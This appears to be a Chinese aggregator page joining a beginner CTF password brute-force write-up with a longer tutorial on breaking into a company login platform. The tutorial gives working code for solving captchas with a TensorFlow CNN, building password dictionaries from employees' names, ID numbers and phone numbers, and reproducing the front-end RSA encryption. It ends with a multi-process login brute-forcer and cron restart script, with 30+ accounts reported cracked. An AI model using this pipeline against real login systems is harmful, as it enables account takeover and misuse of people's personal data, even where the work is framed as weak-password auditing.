简单的CTF web密码爆破

Posted Saber12_3_4

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了简单的CTF web密码爆破相关的知识,希望对你有一定的参考价值。

 打开题目,审题。发现题目明确给出登录的用户名为Syclover,并要求我们爆破一个长度为6位纯数字的简单密码,并告诉我们密码开头为774。由此我们知道这是一题非常基础的密码爆破题。

打开环境发现存在一个登录界面:

我们根据提示输入用户名,密码不妨就随便尝试774,再用BurpUnlimited抓包进行分析:

 

分析抓到的这个包,发现我们上传的密码好像被前端进行了MD5加密。 

 

进一步验证了我们的猜想。将包发送到BP的Inturuder进行爆破。

选择好我们的爆破对象,在Payloads中进行爆破方式的设置,我们选择的是明文爆破(这题也可以进行数字爆破),这时我们通过已知信息用脚本(这里我是用的是C语言,如果会python语言的小伙伴们也可以直接用python,python语言中含有md5加密函数,可以省事许多。由于我还没开始python的学习,就简单使用c语言)来生成爆破字典。

将生成的密码复制到文本中后,保存在桌面(方便添加)。

在BP(BurpUnlimited)中进行操作。Payload Options [Simple list]中点击Load添加上我们洗好的字典,在Paload Processing中添加上MD5,并且将Payload Encoding中的URL给取消勾选。再点击Start attack开始爆破。

等待爆破完成后发现状态全为200,并且长度都相同。怎么办呢?难道我们爆破出错了?不要慌张,仔细检查后确认我们的方法步骤并没有出问题,那我们不妨打开页面的正则(双击Filter:Showing all items),搜索“flag”。

 

点击Apply。就得到成功的爆破信息。

 

我们再查看它的Response,就得到了我们的flag

 

 同时也知道了密码为:774932

自此,这道题圆满结束。

除了使用工具BP(BurpUnlimited)进行爆破外,这里我向大家推荐一个咋们国产的开源软件:yakit,功能与BP(BurpUnlimited)类似,之后我也会更新yakit的操作方式,感兴趣的小伙伴们可以去看看。

总结

这道题主要考察我们对工具的使用,难度偏入门级。同时小编我也属于一个新手,写博客主要是督促自己学习。以上内容若有描述不当的地方还请留言指正,谢谢。同时也祝每一个刚进入ctf学习的同学们学习顺利。

了解简单的爆破后可以去尝试CTHhub的技能树上的爆破题,来巩固工具的使用和学习。

 

如何“爆破检测”加密密码字段和存在验证码的Web系统

一、背景

一直想对本人公司所在的某管理平台(下文简称为A平台)进行一下弱口令检测,但是该平台做了设置验证码(做了一定的干扰效果)和密码加密等防御措施而无法使用一些常规的爆破工具进行攻击。本文将结合在检测过程中遇到的问题一步步地讲解如何突破障碍达到检测的目的,各位读者可以举一反三进行其他系统的爆破测试。

二、寻找一个简单的爆破点

A平台算是公司内部的一个通用平台,所以其的账号密码也能在其他系统上登录,但是这些系统多多少少都做了一定的防御,基本都具有密码次数过多封ip、验证码、密码字段加密、请求间隔时间检测等的爆破防御,故本文选择了一个仅仅拥有密码字段加密和设置验证码(验证码干扰量最少)的A平台,如果读者非不得已要突破密码次数过多封ip的防御,可以在本文的基础上加入代理池,如何筛选出有效的代理池还请自行研究。

下面是A平台的post数据:

__RequestVerificationToken=RpPpYuKWa6ZLB9nhRI3nod04bal0nr9NCFktqA4uFCvVNI4ui10CLOf1oFFJBg2zh7QRIbB_CZziFYSBE7_mNuqr1N0l5LWu_r-oZSEWN501&UserId=002333&Password=uUNw1CgwVsOzE8fZBUUpvWaNGRyqVEeILR%2F2uepQA2tp2aRPHbJf5uj%2FF%2Bppp%2B8LTluHrcKPTSlSxvGQ0JTEBj%2FI8iNKO74a5PcdOgSM76I1o81zYP%2BWIdwEUuB78ISpJKzN1HemvYTlrOiWgZ93UjBV2tBtok6LniWcobQj5kE%3D&ValidateCode=1111&rememberMe=true&loginType=CA&CAPassword=

可以见到A平台的密码字段Password是经过前端加密了,可想而知要爆破这个系统,验证码识别和如何生成这个密文是重点突破点。

三、对验证码的机器识别

一开始,本文使用python的pytesseract进行了对A平台的验证码进行测试,删除了干扰线和灰化后,依然无法对该验证码图片正确识别,其原因是验证码的字体稍微做了变形。

def initTable(threshold=80):           # 二值化函数    table = []    for i in range(256):        if i < threshold:            table.append(0)        else:            table.append(1)    return tableim = Image.open(valcode.png)im = im.convert(L)  # 彩色图像转化为灰度图binaryImage = im.point(initTable(), 1) #删除干扰线

图为处理完的验证码:

其实经过处理后这个验证码看起来已经是很好识别了,不料pytesseract还是无法全部识别成功,如读者还有其他方法能把该图片处理到让pytesseract识别的程度欢迎留言交流。

很早就听过tensorflow这个框架,这个框架是目前最流行的深度学习框架,我们可以用它来搭建自己的卷积神经网络并训练自己的分类器,接下来,本文将简要地描述下训练分类器和使用生成好的模型进行识别验证码:

3.1 收集图片并设置标签

为了训练分类器模型,需要从服务器取得一定量的训练图片,本文写了一个脚本从服务器取了200张图片,并花了一个多小时对这些图片进行了码标签(重命名图片文件)。

def download_captcha(num):      binaryImage.crop(region)    for i in range(num):        bi = get_captcha()  #从服务器获取这个验证码        captcha = pytesseract.image_to_string(bi) #可以识别出部分字符,码的时候可以减少工作量        bi.save("pic/%s.png" %captcha)

最终码完标签的结果大概是这样:
如何“爆破检测”加密密码字段和存在验证码的Web系统

3.2 训练分类模型

本文主要搬运tensorflow_cnn这里的代码,由于该代码中所使用图片大小为60160,而原始下载保存好的图片大小为2788,构建CNN的参数无法适用,为了省心省力,故在生成图片的时候直接把图片调整为60*160。

#放大图片到60*160,方便训练模型class image_aspect():    def __init__(self, image_file, aspect_width, aspect_height):        self.img = Image.open(image_file)        self.aspect_width = aspect_width        self.aspect_height = aspect_height        self.result_image = None    def change_aspect_rate(self):        img_width = self.img.size[0]        img_height = self.img.size[1]        if (img_width / img_height) > (self.aspect_width / self.aspect_height):            rate = self.aspect_width / img_width        else:            rate = self.aspect_height / img_height        rate = round(rate, 1)        self.img = self.img.resize((int(img_width * rate), int(img_height * rate)))        return self    def past_background(self):        self.result_image = Image.new("RGB", [self.aspect_width, self.aspect_height], (0, 0, 0, 255))        self.result_image.paste(self.img, (int((self.aspect_width - self.img.size[0]) / 2), int((self.aspect_height - self.img.size[1]) / 2)))        return self    def save_result(self, file_name):        self.result_image.save(file_name)        image_aspect("valcode.png", 160, 60).change_aspect_rate().past_background().save_result("valcode.png")

训练模型:

#coding:utf-8import numpy as npimport tensorflow as tffrom PIL import ImageIMAGE_HEIGHT = 60IMAGE_WIDTH = 160MAX_CAPTCHA = 4number = [0,1,2,3,4,5,6,7,8,9]alphabet = [a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z]ALPHABET = [A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z]def get_image_info():    import os,random    all_image = os.listdir("pic")    all_image.remove(".DS_Store")    random_file = random.randint(0,200)    base = os.path.basename("pic/" + all_image[random_file])    name = os.path.splitext(base)[0]    im = Image.open(pic/ + all_image[random_file])    im = np.array(im)    return name,im# 文本转向量char_set = number + ALPHABET + [_]  # 如果验证码长度小于4, _用来补齐CHAR_SET_LEN = len(char_set)def text2vec(text):    text_len = len(text)    if text_len > MAX_CAPTCHA:        print text        raise ValueError(验证码最长4个字符)    vector = np.zeros(MAX_CAPTCHA*CHAR_SET_LEN)    def char2pos(c):        if c ==_:            k = 62            return k        k = ord(c)-48        if k > 9:            k = ord(c) - 55            if k > 35:                k = ord(c) - 61                if k > 61:                    raise ValueError(No Map)        return k    for i, c in enumerate(text):        idx = i * CHAR_SET_LEN + char2pos(c)        vector[idx] = 1    return vector# 向量转回文本def vec2text(vec):    char_pos = vec.nonzero()[0]    text=[]    for i, c in enumerate(char_pos):        char_at_pos = i #c/63        char_idx = c % CHAR_SET_LEN        if char_idx < 10:            char_code = char_idx + ord(0)        elif char_idx < 36:            char_code = char_idx - 10 + ord(A)        elif char_idx < 62:            char_code = char_idx-  36 + ord(a)        elif char_idx == 62:            char_code = ord(_)        else:            raise ValueError(error)        text.append(chr(char_code))    return "".join(text)def convert2gray(img):    if len(img.shape) > 2:        gray = np.mean(img, -1)        # 上面的转法较快,正规转法如下        # r, g, b = img[:,:,0], img[:,:,1], img[:,:,2]        # gray = 0.2989 * r + 0.5870 * g + 0.1140 * b        return gray    else:        return img    """    cnn在图像大小是2的倍数时性能最高, 如果你用的图像大小不是2的倍数,可以在图像边缘补无用像素。    np.pad(image【,((2,3),(2,2)), constant, constant_values=(255,))  # 在图像上补2行,下补3行,左补2行,右补2行    """# 生成一个训练batchdef get_next_batch(batch_size=128):    batch_x = np.zeros([batch_size, IMAGE_HEIGHT * IMAGE_WIDTH])    batch_y = np.zeros([batch_size, MAX_CAPTCHA * CHAR_SET_LEN])    # 有时生成图像大小不是(60, 160, 3) 彩图才是3    def wrap_gen_captcha_text_and_image():        while True:            text, image = get_image_info()            if image.shape == (60, 160, 3):                return text, image    for i in range(batch_size):        text, image = wrap_gen_captcha_text_and_image()        image = convert2gray(image)        batch_x[i, :] = image.flatten() / 255  # (image.flatten()-128)/128  mean为0        batch_y[i, :] = text2vec(text)    return batch_x, batch_y# 申请占位符 按照图片X = tf.placeholder(tf.float32, [None, IMAGE_HEIGHT*IMAGE_WIDTH])Y = tf.placeholder(tf.float32, [None, MAX_CAPTCHA*CHAR_SET_LEN])keep_prob = tf.placeholder(tf.float32) # dropoutdef crack_captcha_cnn(w_alpha=0.01, b_alpha=0.1):    x = tf.reshape(X, shape=[-1, IMAGE_HEIGHT, IMAGE_WIDTH, 1])    # w_c1_alpha = np.sqrt(2.0/(IMAGE_HEIGHT*IMAGE_WIDTH)) #    # w_c2_alpha = np.sqrt(2.0/(3*3*32))    # w_c3_alpha = np.sqrt(2.0/(3*3*64))    # w_d1_alpha = np.sqrt(2.0/(8*32*64))    # out_alpha = np.sqrt(2.0/1024)    # 3 conv layer    w_c1 = tf.Variable(w_alpha * tf.random_normal([3, 3, 1, 32]))    b_c1 = tf.Variable(b_alpha * tf.random_normal([32]))    conv1 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(x, w_c1, strides=[1, 1, 1, 1], padding=SAME), b_c1))    conv1 = tf.nn.max_pool(conv1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=SAME)    conv1 = tf.nn.dropout(conv1, keep_prob)    w_c2 = tf.Variable(w_alpha * tf.random_normal([3, 3, 32, 64]))    b_c2 = tf.Variable(b_alpha * tf.random_normal([64]))    conv2 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(conv1, w_c2, strides=[1, 1, 1, 1], padding=SAME), b_c2))    conv2 = tf.nn.max_pool(conv2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=SAME)    conv2 = tf.nn.dropout(conv2, keep_prob)    w_c3 = tf.Variable(w_alpha * tf.random_normal([3, 3, 64, 64]))    b_c3 = tf.Variable(b_alpha * tf.random_normal([64]))    conv3 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(conv2, w_c3, strides=[1, 1, 1, 1], padding=SAME), b_c3))    conv3 = tf.nn.max_pool(conv3, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=SAME)    conv3 = tf.nn.dropout(conv3, keep_prob)    # Fully connected layer    w_d = tf.Variable(w_alpha * tf.random_normal([8 * 20 * 64, 1024]))    b_d = tf.Variable(b_alpha * tf.random_normal([1024]))    dense = tf.reshape(conv3, [-1, w_d.get_shape().as_list()[0]])    dense = tf.nn.relu(tf.add(tf.matmul(dense, w_d), b_d))    dense = tf.nn.dropout(dense, keep_prob)    w_out = tf.Variable(w_alpha * tf.random_normal([1024, MAX_CAPTCHA * CHAR_SET_LEN]))    b_out = tf.Variable(b_alpha * tf.random_normal([MAX_CAPTCHA * CHAR_SET_LEN]))    out = tf.add(tf.matmul(dense, w_out), b_out)    return out# 训练def train_crack_captcha_cnn():    output = crack_captcha_cnn()    #loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(output, Y))    loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=output, labels=Y))        # 最后一层用来分类的softmax和sigmoid有什么不同?    # optimizer 为了加快训练 learning_rate应该开始大,然后慢慢衰    optimizer = tf.train.AdamOptimizer(learning_rate=0.001).minimize(loss)    predict = tf.reshape(output, [-1, MAX_CAPTCHA, CHAR_SET_LEN])    max_idx_p = tf.argmax(predict, 2)    max_idx_l = tf.argmax(tf.reshape(Y, [-1, MAX_CAPTCHA, CHAR_SET_LEN]), 2)    correct_pred = tf.equal(max_idx_p, max_idx_l)    accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))    saver = tf.train.Saver()    with tf.Session() as sess:        sess.run(tf.global_variables_initializer())        step = 0        while True:            batch_x, batch_y = get_next_batch(13)            _, loss_ = sess.run([optimizer, loss], feed_dict={X: batch_x, Y: batch_y, keep_prob: 0.66})            print(step, loss_)            # 每100 step计算一次准确率            if step % 100 == 0:                batch_x_test, batch_y_test = get_next_batch(33)                acc = sess.run(accuracy, feed_dict={X: batch_x_test, Y: batch_y_test, keep_prob: 1.})                print("setp、accuracy:",step, acc)                # 如果准确率大于99%,保存模型,完成训练                if acc > 0.99:                    saver.save(sess, "crack_capcha.model", global_step=step)                    break            step += 1if __name__ == "__main__":    train_crack_captcha_cnn()

运行该脚本,当训练的准确率大于99%的时候就会在运行的目录下就会保存crack_capcha.model-1300.data-00000-of-00001、crack_capcha.model-1300.index、crack_capcha.model-1300.meta这三个文件,本文的机器大概运行了一个半小时。

3.3 使用模型

def crack_captcha(output,captcha_image):    saver = tf.train.Saver()    with tf.Session() as sess:        saver.restore(sess, tf.train.latest_checkpoint(.))        predict = tf.argmax(tf.reshape(output, [-1, MAX_CAPTCHA, CHAR_SET_LEN]), 2)        text_list = sess.run(predict, feed_dict={X: [captcha_image], keep_prob: 1})        text = text_list[0].tolist()        vector = np.zeros(MAX_CAPTCHA*CHAR_SET_LEN)        i = 0        for n in text:            vector[i*CHAR_SET_LEN + n] = 1            i += 1        predict_text = vec2text(vector)        return predict_text

经过测试,该模型对于A平台的验证码识别效率还算不错,平均10次只有1、2次识别错误。
好了,现在第一个难点验证码识别已经解决了,接下来将讲解如何生成密码密文实现自动化爆破。

四、生成靠谱的弱口令字典

这步应该是这次爆破的关键,能否最终爆破出正确的密码也是看字典的质量。除了检测一些常见的弱口令(top100)外,还应该根据姓名、出生年月、手机号生成一系列的社工字典。 于是,本文首先整理一份包含所有员工的姓名、身份证号、手机号、邮箱的excel文档。 首先处理每个员工的信息,关于如何处理信息,本文的做法是:

若姓名为凌星星的人,将返回lxx、Lxx、Lin、LIN、linxinxin;

若公司为freebuf,将返回freebuf、fb

若手机号为10000000086,将返回10000000086、0086;

从身份证号提取出出生年月,若出生年月为19921228,将返回19921228 9921228 1228;

    # 获取常见的生日后缀    # 若对应 19921228 输出 19921228 9921228 1228    def getbrithlist(self,index):        if self.birthlist:            birth = self.birthlist[index].strip()        else:            return []        if len(birth) > 4:            return [birth,birth[2:],birth[4:],birth[:4]]        else:            return []                #获取手机号后四位    def getphonelist(self,index):        try:            phone = self.phonelist[index]            p_phone = re.compile(r(13[0-9]\d{8}|14[0-9]\d{8}|15[0-9]\d{8}|18[0-9]\d{8}))            phone = p_phone.findall(phone)[0].strip()            return [phone,phone[-4:]]        except Exception:            return []                pinyin_list=[administrator,admin,test,a, ai, an, ang, ao, ba, bai, ban, bang, bao, bei, ben, beng, bi, bian, biao, bie, bin, bing, bo, bu, ca, cai, can, cang, cao, ce, cen, ceng, cha, chai, chan, chang, chao, che, chen, cheng, chi, chong, chou, chu, chuai, chuan, chuang, chui, chun, chuo, ci, cong, cou, cu, cuan, cui, cun, cuo, da, dai, dan, dang, dao, de, dei, deng, di, dian, diao, die, ding, diu, dong, dou, du, duan, dui, dun, duo, e, en, er, fa, fan, fang, fei, fen, feng, fo, fou, fu, ga, gai, gan, gang, gao, ge, gei, gen, geng, gong, gou, gu, gua, guai, guan, guang, gui, gun, guo, ha, hai, han, hang, hao, he, hei, hen, heng, hong, hou, hu, hua, huai, huan, huang, hui, hun, huo, ji, jia, jian, jiang, jiao, jie, jin, jing, jiong, jiu, ju, juan, jue, jun, ka, kai, kan, kang, kao, ke, ken, keng, kong, kou, ku, kua, kuai, kuan, kuang, kui, kun, kuo, la, lai, lan, lang, lao, le, lei, leng, li, lia, lian, liang, liao, lie, lin, ling, liu, long, lou, lu, luu, luan, luue, lun, luo, ma, mai, man, mang, mao, me, mei, men, meng, mi, mian, miao, mie, min, ming, miu, mo, mou, mu, na, nai, nan, nang, nao, ne, nei, nen, neng, ni, nian, niang, niao, nie, nin, ning, niu, nong, nu, nuu, nuan, nuue, nuo, o, ou, pa, pai, pan, pang, pao, pei, pen, peng, pi, pian, piao, pie, pin, ping, po, pou, pu, qi, qia, qian, qiang, qiao, qie, qin, qing, qiong, qiu, qu, quan, que, qun, ran, rang, rao, re, ren, reng, ri, rong, rou, ru, ruan, rui, run, ruo, sa, sai, san, sang, sao, se, sen, seng, sha, shai, shan, shang, shao, she, shei, shen, sheng, shi, shou, shu, shua, shuai, shuan, shuang, shui, shun, shuo, si, song, sou, su, suan, sui, sun, suo, ta, tai, tan, tang, tao, te, teng, ti, tian, tiao, tie, ting, tong, tou, tu, tuan, tui, tun, tuo, wa, wai, wan, wang, wei, wen, weng, wo, wu, xi, xia, xian, xiang, xiao, xie, xin, xing, xiong, xiu, xu, xuan, xue, xun, ya, yai, yan, yang, yao, ye, yi, yin, ying, yong, you, yu, yuan, yue, yun, za, zai, zan, zang, zao, ze, zei, zen, zeng, zha, zhai, zhan, zhang, zhao, zhe, zhei, zhen, zheng, zhi, zhong, zhou, zhu, zhua, zhuai, zhuan, zhuang, zhui, zhun, zhuo, zi, zong, zou, zu, zuan, zui, zun, zuo]    saveData(pinyin_list,./pinyin.txt)        jieba.load_userdict(./pinyin.txt)    # 输入中文或者英文名,输出拼音    def getPinyin(self,name):        if name.isalpha():            name = name.lower()            py_list = [str(x) for x in jieba.cut(name)]        else:            name = name.decode(utf-8)            py_list = [str(x) for x in pinyin.get(name, format="strip", delimiter="-").split("-")]        return py_list    #字典中常见姓名拼音的组合:lxx、Lxx、LIN、lin、Lin    def getpylist(self,str):        pylist = []        pinyin = self.getPinyin(str)        pystr = "".join(pinyin)        pylen = len(pystr)        if pylen <= 6:            pylist.append(pystr)        if len(pinyin) == 3:            pylist.append(pinyin[1] + pinyin[2])        elif len(pinyin) > 3:            pylist.append(pinyin[0]+pinyin[1])            pinyin[0] = pinyin[0]+pinyin[1]        elif len(pinyin) < 2:            return [pystr]        flitter_lower = "".join(self.getFlitter(str))  # lxx        flitter_upper = flitter_lower[0:1].upper() + flitter_lower[1:]  # Lxx        fpiny = pinyin[0]   #lin        upiny = pinyin[0].upper() #LIN        flupiny = pinyin[0][0:1].upper()+pinyin[0][1:]  #Lin        tmplist = [flitter_lower,flitter_upper,fpiny,upiny,flupiny]        pylist[pylen:pylen] = tmplist        if pystr == self.company:            return [pystr,flitter_lower,flitter_upper]        else:            return pylist

然后根据处理后的信息生成对应的弱口令,本文生成的社工弱口令字典主要包含三种:字母(姓名、公司名等)+ 特殊字符(@、#、、-等)+ 数字(手机号、出生日期、常见的连续数字、年份等)、 字母(姓名、公司名等)+ 数字(手机号、出生日期、常见的连续数字、年份等) + 特殊字符(@、#、等)、字母(姓名、公司名等)+ 数字(手机号、出生日期、常见的连续数字、年份等)。考虑到正常人的习惯,一般人很少把数字和特殊字符作为开头,故去掉数字和特殊字符开头的。

  def generatePw(self,str_list, num_list, sig_list, base, level=2, mfilter=True):        weak_list = []        for k, v in base.items():            for i in v:                if len(str(i)) >= 6:                    weak_list.append(i)        # 字母+数字        for i in itertools.product(str_list, num_list):            for j in itertools.product(base[i[0]], base[i[1]]):                for h in itertools.permutations(j):                    if (mfilter):                        if str(h[0]).isdigit():  # 去掉数字开头的密码                            continue                    name_num = str(h[0]) + str(h[1])                    weak_list.append(name_num)        # 字母+数字+特殊字符/字母+特殊字符+数字        if (level > 1):            for i in itertools.product(str_list, num_list, sig_list):                for j in itertools.product(base[i[0]], base[i[1]], base[i[2]]):                    for h in itertools.permutations(j):                        if (mfilter):                            if (str(h[0]).isdigit() and str(h[1]).isalpha()):  # 去掉数字+字母开头                                continue                            elif (str(h[0]) in self.sign) or (str(h[0]).isdigit()):  # 去掉特殊字符、数字开头                                continue                        name_num = str(h[0]) + str(h[1]) + str(h[2])                        weak_list.append(name_num)        return weak_list

最后加上top100的弱口令,每个员工生成对应的弱口令达3000个。
图为生成字典的结果:
如何“爆破检测”加密密码字段和存在验证码的Web系统

五、对加密字段的探索

分析前端的登录界面,最终找到该密码字段的加密方式,可以见到该字段是经过js rsa加密的。
如何“爆破检测”加密密码字段和存在验证码的Web系统怎么找到该公钥的呢,很简单,打开chrome的控制台,直接输入login.pubkey即可。

其实,要破解这种加密方式,无非是就是三种方法:

理清js中的加密过程,使用编程语言进行复现

使用selenium webdriver,本地驱动一个浏览器,完全模拟浏览器的操作(Node.js,按键精灵,QTP 工具等也可以)

建一个小型的web服务器,利用浏览器页面将js运行起来,把加密后的密文发给本地服务器

本文先尝试寻找一种后台加密的算法:

1、尝试复现该js rsa加密算法:

def RSA_encode(pubkey,password):    from Crypto.PublicKey import RSA    from Crypto.Cipher import PKCS1_v1_5    import base64    rsakey = RSA.importKey(pubkey)    cipher = PKCS1_v1_5.new(rsakey)    cipher_text = base64.b64encode(cipher.encrypt(password))    print cipher_textpubkey = -----BEGIN PUBLIC KEY-----    nIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCp0wHYbg/NOPO3nzMD3dndwS0MccuMeXCHgVlGOoYyFwLdS24Im2e0YyhB0wrUsyYf0/nhzCzBK8ZC9eCWqd0aHbdgOQo6CuFQBMjbyGYvlVYU2ZP7kG9Ft6YV6oc9ambuO7nPZh+bvpH0zDKfi02prknrScApC0XhadTHT3Al0QIDAQAB    -----END PUBLIC KEY-----RSA_encode(pubkey,"123456")

但是通过该加密后的密文在A平台无法通过验证,服务器返回的是System.Security.Cryptography.CryptographicException的不正确数据异常。

2、使用pyv8执行js得到密文

提取使用加密算法的文件保存为jsencrypt.min.js,然后使用pyv8在python中执行这段js:

    from pyv8 import PyV8    ctxt = PyV8.JSContext()    ctxt.enter()    with open(jsencrypt.min.js) as f:        jsdata = f.read()        print ctxt.eval(jsdata)

执行上述这段代码,结果抛出pyv8.PyV8.JSError: JSError: ReferenceError: navigator is not defined异常。估计是无法加载dom,于是本文把dom.js和jsencrypt.min.js结合为一个文件同时加载,结果还是各种异常。

使用selenium的话,本文觉得比较笨重,故没考虑此法。 于是本文使用Django搭建一个小型服务器来生成密文字典:

view.py:

def encode_passrequest):    with open("genPw/weakpass.txt") as f:        passlist = f.readlines()    return render(request, "layout.html",{passlist:json.dumps(passlist)})    def get_enpass(request):    enpass = request.GET[enpass]    if " >>>>>> " in enpass:        with open("encode.txt","a+") as f:            f.write(enpass + "\n")    return HttpResponse()

layout.html:

{% load staticfiles %}lt;html><head>    <title>test</title>    <script src="{% static jsencrypt.min.js %}"></script>    <script src="{% static jquery.min.js %}"></script>    <script type="text/javascript">        var publicKey = "nIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCp0wHYbg/NOPO3nzMD3dndwS0MccuMeXCHgVlGOoYyFwLdS24Im2e0YyhB0wrUsyYf0/nhzCzBK8ZC9eCWqd0aHbdgOQo6CuFQBMjbyGYvlVYU2ZP7kG9Ft6YV6oc9ambuO7nPZh+bvpH0zDKfi02prknrScApC0XhadTHT3Al0QIDAQAB";        var encrypt = new JSEncrypt();        encrypt.setPublicKey(publicKey);        var passlist = new Array();        passlist =  {{ passlist|safe  }};        for(i in passlist){            var arr = new Array();            arr = passlist[i].split(" >>>>>> ")            var loginid = arr[0];            var passtxt = arr[1].replace(/[\r\n]/g,"");            var en_passtxt = encrypt.encrypt(passtxt);            save_data = loginid + " >>>>>> " + en_passtxt + " >>>>>> " + passtxt            console.log(save_data);            $.get("/getpass/",{enpass:save_data});        }        console.log(passlist.length)    </script></head></html>

由于弱口令有60多万行,而浏览器执行的时间也不能持久,总是在执行一半的时候浏览器就显示崩溃,不知读者有什么办法让浏览器能够持久等待操作量较大的js执行完成,欢迎留言交流。

本文对这60多万行的文件分割成5份,依次执行这段js,得到一个120MB大小的密文字典。 图为生成密文后的结果:

六、愉快地进行爆破

A平台的两大难点都被解决,接下来,就可以编写代码进行自动化爆破了。

1 分析登录过程

A平台的登录过程很简单,通过burpsuite的抓包,每次登录大概就是两个数据包,第一个数据包先生成验证码,第二个数据包是提交登录的post数据,所以就模拟这两步操作就行了。
而这两个数据包中的验证码是根据cookie来关联的,cookie大概长这样
Cookie: UM_distinctid=1621eb9934f296-0f74fe8371ca48-32657b04-13c680-1621eb993521bb; ASP.NET_SessionId=ctmbshfmeefqceu0xzlyl00p; __RequestVerificationToken=iro_srRkgpI8lmqajlJCLCDRKY1_0KkPPmYggezXXCoiXAWPl-4vZiA3jIlpY9Ib6M2xI56r_MPEGt1ZILQdaqNiwHwW-NTW-nGUALwV_BQ1
也就是说,在新建一个会话请求生成验证码的时候,服务器会生成一个这样的cookie,而然后登录请求的post也会根据这个cookie来判断验证码是否生成过。
经过测试,在正确的登录顺序下,发现服务器在登录post请求返回只会返回三种:{“error”:”验证码错误”}、{“success”:”/Default.aspx”}、{“error”:”用户名或密码错误”}
如果在请求登录的时候,关联cookie的数据包没先执行第一步,即生成验证码,会返回{“error”:”验证码失效”}

2 模拟登录过程

由于cookie是验证码的关联因素,为了提高爆破效率实现多进程爆破(tensorflow使用多线程执行效率好低,具体原因不清楚,有经验的读者求分享解决方法),本文使用selenium的get_cookies()获取了10个不同会话生成的cookie,
第一步,请求生成验证码,同时返回tensorflow识别的结果:

def get_valcode(cookie):    import get_image as gi    gi.get_captcha(cookie) #请求服务器生成验证码    gi.image_aspect("valcode.png", 160, 60).change_aspect_rate().past_background().save_result("valcode.png")    image = np.array(Image.open("valcode.png"))    image = convert2gray(image)    image = image.flatten() / 255  # 将图片一维化    predict_text = crack_captcha(output, image)    return predict_text

第二步,模拟登录的post请求,获取返回的结果,而后在另外一个文件中开启10个进程执行(把密文字典分割成10份)。

def brust_login(cookie):    wp = q.popleft()    try:        loginid = wp.split(" >>>>>> ")[0]        loginpass = wp.split(" >>>>>> ")[1]        wppass = wp.split(" >>>>>> ")[2]        loginpass = urllib.quote(loginpass)        verifycode = get_valcode(cookie)        tiptxt = get_login_info(loginid, loginpass, cookie, verifycode) #请求登录服务器        if "用户名或密码错误" in tiptxt:            print loginid,">>>>>>>>",wppass.strip(),": 密码错误"            with open("notgoodpass.txt", "a+" as f:                f.write(wp)        elif "验证码错误" in tiptxt:            q.appendleft(wp)            print loginid, ">>>>>>>>", wppass.strip(), ": 验证码错误,需要重试!"        elif "success" in tiptxt:            print loginid, ">>>>>>>>", wppass.strip(), ": 正确的密码来了!"            with open("goodpass.txt", "a+") as f:                f.write(wp)        elif "验证码失效" in tiptxt:            q.append(wp)            print loginid, ">>>>>>>>", wppass.strip(), ": 验证码失效,执行有误!"        else:            print tiptxt    except Exception,e:        print str(e)

至此,自动化爆破A平台的目的达到了,但是在执行过程中,可能是因为使用了tensorflow的原因,在刚开始的时候还能顺利地进行爆破,大概一两个小时后,爆破效率急剧下降,甚至停住。于是本文把执行过程中密码错误的记录写入文件,然后写了一个sh脚本(先清除执行过的记录,重新运行爆破的python脚本),命名为run.sh:

ps -ef|grep python|awk {print $2}|xargs kill -9sh /root/delrunpass.shnohup sh/root/runbrust.sh&

设置系统的crontab定时任务,每隔50分钟执行一次这个脚本。

*/50 * * * * sh /root/run.sh

七、总结

在本文所涉及到的200名员工中,60多万条记录中最终爆破出30多名员工存在弱口令问题,历时5天。可想在企业中普遍存在弱口令问题,而且A平台是对外开放的,影响极为严重。
关于这次的爆破过程,还有好多待改进的地方。tensorflow虽然识别效率高,但是随着时间的推移执行效率急剧下降,本文最终使用了一种治标不治本的方法顺利完成爆破。如果有经验的读者对tensorflow的稳定执行有所探索,还望留言交流。

参考链接:

对登录中账号密码进行加密之后再传输的爆破的思路和方式

基于TensorFlow识别Captcha库验证码图文教程






以上是关于简单的CTF web密码爆破的主要内容,如果未能解决你的问题,请参考以下文章

安全-CTF工具收集

Web安全第 06 讲:密码爆破工具hydra(kali)

WEB安全--业务安全漏洞

JIS-CTF : VulnUpload 题解

“百度杯”CTF比赛(二月场)-web-writeup

ctf.show-web-1000题